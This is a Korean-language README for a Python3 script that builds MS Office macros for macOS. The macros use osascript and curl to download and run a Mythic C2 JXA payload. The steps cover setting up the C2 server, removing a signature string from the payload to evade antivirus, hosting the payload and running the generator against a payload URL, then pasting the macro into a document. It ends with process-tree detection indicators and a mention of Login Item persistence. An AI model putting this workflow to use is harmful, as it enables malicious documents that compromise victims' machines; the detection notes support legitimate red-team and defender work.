
Python3 스크립트 - Mythic 페이로드를 실행하기 위한 매크로를 생성합니다. 저자: Cedric Owens
Mythic JXA 페이로드를 실행하기 위한 MS Office 매크로를 생성하는 Python3 스크립트입니다.
이 스크립트는 osascript를 사용하여 Mythic JXA .js 페이로드를 다운로드하고 실행하는 Office 매크로를 생성합니다.
단계:
Mythic C2 서버를 설정하고 "apfell" jxa 페이로드를 생성합니다 (참고: 이 생성기는 페이로드가 http를 사용한다고 가정합니다. 만약 https를 사용하는 경우 생성기 스크립트에서 curl이 https를 사용하도록 수정하면 됩니다). 해당 페이로드를 Mythic 서버에 다운로드합니다.
Mythic JXA .js 런처의 첫 번째 줄 ("// Created by Cody Thomas - @its_a_feature_")을 제거합니다. 일부 정적 A/V 시그니처가 이 정적 문자열을 확인하는 것으로 알려져 있습니다. 해당 페이로드를 호스팅합니다 (예: .js 페이로드를 폴더에 넣고 python -m SimpleHTTPServer를 사용하여 호스팅).
이 매크로 생성기를 실행합니다:
python3 jxa-macro.py -u [위 #2에서 호스팅한 .js 페이로드의 URL]
예시: python3 jxa-macro.py -u http://192.168.1.1:8000/apfell2.js
매크로 텍스트가 동일한 디렉토리에 "macro.txt" 파일로 저장됩니다.
해당 매크로를 복사하여 MS Office 문서에 붙여넣습니다.
탐지:
이 매크로는 다음과 같은 부모-자식 관계를 생성하므로 탐지에 사용할 수 있습니다:
Office 제품 (예: Microsoft Word.app) --> /bin/sh
Office 제품 (예: Microsoft Word.app) --> /bin/bash
Office 제품 (예: Microsoft Word.app) --> /usr/bin/curl
참고: 이 매크로는 App Sandbox 내에서 JXA 페이로드를 실행합니다. 하지만 Mythic은 App Sandbox에서도 Login Item 지속성을 추가할 수 있는 기능을 제공합니다.